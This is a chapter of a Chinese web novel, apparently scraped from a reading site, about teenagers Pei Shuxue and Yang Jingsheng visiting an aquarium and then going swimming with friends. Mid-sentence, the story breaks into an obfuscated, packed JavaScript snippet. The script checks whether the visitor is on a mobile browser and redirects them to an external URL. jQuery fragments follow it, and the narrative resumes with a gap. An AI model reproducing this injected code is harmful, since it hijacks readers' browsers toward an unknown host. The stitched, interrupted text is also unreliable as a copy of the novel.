后来的半天光景，两人乘地铁去逛了水族馆，在十里河附近。


    路上裴抒雪一直戴着耳机听歌，杨镜升两眼出神地盯着地铁小电视的屏幕，不知是在发呆还是在想事，中途没看手机。


    受杨爷爷的委托，来帮他物色有没有好看又好养的鱼。


    不得不说，和杨镜升单独出来，她还是有些局促的，毕竟对方是个形象好气质佳的美少年，还属于长在她审美那一挂的。但不知为什么，只要他一笑，一说话，裴抒雪那种紧张感就没有了。


    还是很有趣的，这个人。言行里偶尔透着一股中二沙雕气质，引得路人刮目相看。


    十里河水族馆规模很大，里面售卖各种观赏鱼和小宠物，水里游的陆上爬的都有，阿猫阿狗也囊括其中。两人走马观花地粗略地逛了逛，她大概很相中那种身姿矫健身上鳞片泛着银光的鱼。


    杨镜升趴在玻璃窗上盯了许久，似是心动，很抱歉地告诉裴抒雪，买不起。


    这人很会瞎扯，颜色稍鲜艳些就叫花鱼，鱼尾像孔雀开屏一样的鱼就叫孔雀鱼，不过后者倒是说对了。


    见到那种嶙峋凶恶的爬行动物，他指着人家，朝裴抒雪嘴贫道：“这是你兄弟。”


    “……”


    拳头硬了好吗。


    不过根据她的观察，这人貌似对河豚情有独钟，一看到售卖河豚的就情不自禁地停住脚，凑近玻璃缸眼睛亮晶晶地去看，甚至想伸手摸一摸。


    在店家的白眼没来临前，裴抒雪拉着他赶紧走了。


    约莫逛到下午五点多，两人在附近吃了饭，才往家走。


    --


    第二天，裴抒雪草率地扒拉几口早饭，收拾好游泳带的物品，出门往大家约定的地点去。


    昨晚和陆楷他们约好，今天去游泳。


    她还特意去问了杨镜升，后者本来拒绝，但听闻陆楷也去后，还是心动又迟疑地同意了。


    到了约定地点，三人早已在那里等候。陈芊芜一条纯白的棉布裙子，低着头在树荫下看手机。陆楷和杨镜升嘻嘻哈哈笑着在太阳底下唠嗑。


    裴抒雪摘了口罩，朝他们招手。


    “这里！”陆楷同样挥手致意，三双眼睛一齐转过来。


    看到了看到了，陆楷你没必要这么大声吆喝出来。裴抒雪低头快走几步，步履轻快地走到树荫下，拍拍陈芊芜的肩。杨镜升转头望了她们一眼，不小心对视一眼。


    这人……


    裴抒雪打量了一眼杨镜升。


    老远就看到他扎眼的装扮了。


    绿色宽松版运动短袖，配上一条红色九分运动长裤，戴着个藏蓝鸭舌帽。倒是衬得双腿笔直修长，隐隐约约还有股高街风。


    好像有点好看。


    这人平时并不看重穿衣打扮。估计是无意之举，误打误撞，凭着自己的颜值身材，穿起来竟然别出新意。


    她朝对方点了点下巴，假意夸赞：“你这个裤子挺好看。”


    杨镜升朝她故作神秘一笑，揪住上衣掀开一角，给她看运动裤上被衣料遮挡的一个图标：“这是国家队的训练服。”


    果然，上面有黄线的绣迹铁画银钩写着“中国单板滑雪集训队”的字样。


    上方还有个国旗图案。


    而后他又盖了回去，绽开笑容，隐隐有等待裴抒雪惊叹的炫耀意思。


    裴抒雪弯起眼睛笑，故作赞叹：“哇，好厉害，我竟然有幸和未来世界冠军做同学，还和世界冠军说话。”


    心里却暗暗吐槽，怪不得能想出红配绿的穿搭呢，一定是没衣服穿了。


    连队服都能征用上。


    身旁传来陆楷矫揉做作的叫喊：“苟富贵，勿相忘哦。”


    于是几人又嘻嘻哈哈笑作一团，裴抒雪瞧着两人小学鸡的模样忍不住吐槽，简直没眼直视，迫切寻求一片清静的净土，凑到陈芊芜身边。


    后者正观好戏般看着两人笑个不停，与裴抒雪说话：“好有趣啊。”


    裴抒雪嘴角抽搐一下，也绽出个笑容，“是好智障啊。”


    而后她不经意地朝她瞥了一眼，问：“这是什么？”


    “在写东西。”陈芊芜也不局促，大大方方地把手机递给她看。


    手机屏幕展示出的是word打字界面，上面已错落有致地排版写了些东西，大约是一篇朦胧梦幻的抒情散文。裴抒雪大致看了一眼，觉得云里雾里。


    文笔倒是绝美，带些玫瑰欲燃的靡丽情调。


    她赞道：“你这真是神仙文笔。”


    得到夸赞，陈芊芜腼腆地抿唇一笑，将手机接回来，“还好啦，我平时就喜欢写这些。”


    那边正试图以诡辩的方式说服杨镜升打篮球更好的陆楷，听闻她的话挤了个脑袋在两人之间，好奇问：“什么什么，你写什么？”


    陈芊芜将手机往胸前扣，板起脸：“不给你看。”


    “咦，扫兴。”陆楷鄙夷地切了声。


    杨镜升笑着揽过陆楷的肩，大方道：“你想看什么？我给你写成不成？”


    “那还是不必了吧。”陆楷鄙视的笑容僵在脸上，转而换成尴尬的表情，强行为自己开脱，“走啦走啦，去游泳。”


    说着他第一个背起置在脚下的包，说走就走，迫不及待地往游泳馆去，还不忘回头催促一声快点。杨镜升笑着追上去，纠缠问为什么不必。


    裴抒雪陈芊芜相视笑了笑，与两位男生从不同的门进去。


    --


    进了更衣室，陆楷砰地一声把木门关上，一缕热气苟延残喘从门的缝隙底下钻出，氤氲到屋外。


    屋内人不算少，大多是正经来游泳的，少数是端着澡盆来洗热水澡的，还有光膀子光腚的小孩到处乱窜。


    他边脱裤子，边对杨镜升说：“我说，这泳衣都是去年夏天的了，也不知道还能不能套进去。”


    陆楷的泳衣是两件套，说是整个游泳馆清一色赤裸着上身的男士，唯独他穿一件短袖的，会显得十分不同寻常。


    杨镜升将换好的衣物丢到柜子里，朝他看了一眼，“那你别穿上衣了。”


    陆楷：“不行，我害羞。”


    “干嘛不好意思啊，”杨镜升笑着去摸陆楷的背，见他上衣套得这么努力，也帮他往下拽，“除了我，没人会故意看你的。”


    “啊……”也不知是水汽温度过高，还是陆楷因着急而热得出汗，他脸上渐渐浮出红晕，开始想入非非，“那倒是，你无耻。”


    好不容易套到一半的泳衣，见实在无法下行，又被他动作麻利地脱了，扔进衣物柜里。然后戴上泳帽泳镜，往杨镜升脚上看了一眼。


    “咦，你这拖鞋……好像有点眼熟。”


    闻言杨镜升也跟着往下看，抬了抬脚，“有吗？”


    “好像裴抒雪也穿这种拖鞋。”


    陆楷凑过来，拖拉长调哦了一声，“情侣鞋呢。”


    就是那种经典款式的洞洞鞋，整体纯白加藏蓝相撞，侧边有一行浅色的crocs商标。


    杨镜升又低头看了看，否认三连：“不知道，没注意，感觉没什么一样。”


    然后又笑着推他一把：“别乱说。”


    这是实话，谁没事去关注人家穿什么样的鞋。


    而陆楷是个不折不扣的鞋迷，生平一大爱好就是看别人的鞋，裴抒雪夏天里又常穿着拖鞋活动，是以他很熟悉。


    陆楷遗憾：“真的不是情侣鞋？”


    “真的不是。”


    杨镜升戴好泳帽，将泳镜挂在手腕上，踢了踢陆楷的脚，催促：“快点，我先走了。”


    --


    另一边，两个姑娘换好泳装出来，将拖鞋放在下水扶梯一旁，试探着准备下水。


    旁边小孩砰地一下跳入水中，激起不小的水花，直接蹬鼻子上脸。


    裴抒雪皱眉擦了几下，吐槽：“洗脚水。”


    陈芊芜挨着她在旁边坐，用腿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963592|161168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    搅动水花。


    水里的温度比体感温度低许多，等渐渐适应了才敢下水。


    眼见身旁一个个小孩自由落体往水里跳，裴抒雪憧憬地跃跃欲试，想当初她也是像这群小孩一般无知无畏的跳水小英雄。


    陈芊芜问她下不下去，她摇了摇头。


    前者一头扎进水里，招了招手，开始蛙泳。


    耳畔是游泳馆内化低了的哄闹噪音，气压低得透不过气，让人不想动活，只是直愣愣地发着呆。忽然有一只手拍了拍她的肩膀，扭头一看，是陆楷那张英俊帅气的脸。


    往下，是壁垒分明的肌肉。


    她揉了揉耳朵，问：“有事吗？”


    “没事。”陆楷站在岸边，放眼环视一圈，“你怎么没去游啊？”


    “懒得下去，先呆一会。”裴抒雪道。


    “哦。”泳池噪音挺大，陆楷不得不放大点声音说，“那我先下去了。”


    裴抒雪乖顺地点点头，紧接着陆楷头冲下跳进水里，又激起一阵水花，她嫌弃地擦了擦。


    好像还没看到某个人。她极目朝四周眺望，试图找出那人身影。


    泳池里不乏矫健的浪里白条，但都戴着泳镜，看不清楚相貌。有许多一刹那觉得侧影相似的，却是成年人身板，不是他。


    但她没看清的是，斜面少年宛若矫健的白鱼一般在水下潜泳，双臂划水挥出碎琼水珠，冒出头换气时一抹水红若隐若现。


    动感十足。离得近了，才觉得身形脸型熟悉得很。


    裴抒雪没再犹豫，泼了个水花，往他身上溅。


    透过清澈的蔚蓝色泳池水，不仅能看到倒映夏天模样一板一眼的瓷砖，还有那少年泳裤上的花色米奇图案。


    果然，那人往水下又潜了些微深度，些许是肺活量不够了，才猛地从水下钻出。


    把泳镜摘了，杨镜升抹了把水痕，抬脸与裴抒雪对视。


    说实话，他甫一出水面的时候，唇红眸亮，颈窝和锁骨处阴影很明显，身材是流畅的矫健型，还是挺惊艳的。


    虽说是单眼皮，但眼下卧蚕明显，很好地中和了单眼皮的单薄感，显得更有少年气。


    裴抒雪看着他的脸笑得眯起眼睛，想出个词夸赞：“你好像那个出水芙蓉。”


    “啊？”杨镜升没懂这个词的比喻意思，有些耳背，不甚介意地笑了笑，也说她，“那，你像那个……美人鱼？”


    “噗。”裴抒雪笑出声。


    游泳馆挺大，这片角落没有小孩打扰，基本就他们两个人。


    裴抒雪攀着扶梯下来，在1.6m深的水里浮浮沉沉。


    “哎，你会多少种泳姿？”说着，她一面把泳镜戴上，一面泼了个水花往他身上溅。


    隔壁泳道好像惊现陆楷的白泳帽，在水面隐约浮现。


    杨镜升伸出四根手指，踩着泳池底往上蹦了蹦，“四种都会一点，你呢？”


    “我只会蛙泳。”裴抒雪也没觉得不好意思地说。


    他点了点头，戴上泳镜后只剩下秀挺鼻梁还有笑起来治愈的唇，露出个笑容，一边跃跃欲试地迎着浮力往上踩，“比赛游泳吗？”


    “比赛？”裴抒雪重复一遍。


    杨镜升嗯了一声，“比谁速度快。”


    “太欺负人了，不干。”裴抒雪摆手，心里十分抗拒这个提议。


    好歹是个运动员出身，虽不是练游泳专项的，体力速度肯定甩她十条街，更何况是个男孩子。跟他比赛，这不是找虐吗。


    若是陆楷问她，她可能还会欣然答应，毕竟陆楷看着挺笨重的。


    杨镜升料到是这个答案，平时好朋友们都不爱和他搞体育活动，都早就习惯了。


    唇抿起来，将泳镜稳好，微仰着头点了点，“那我自己游了。”


    说着，潜水往旁边的泳道游。


    划出条优美的弧线，双腿如鱼尾摆动，再冒头时已游出很长一段距离。


    ……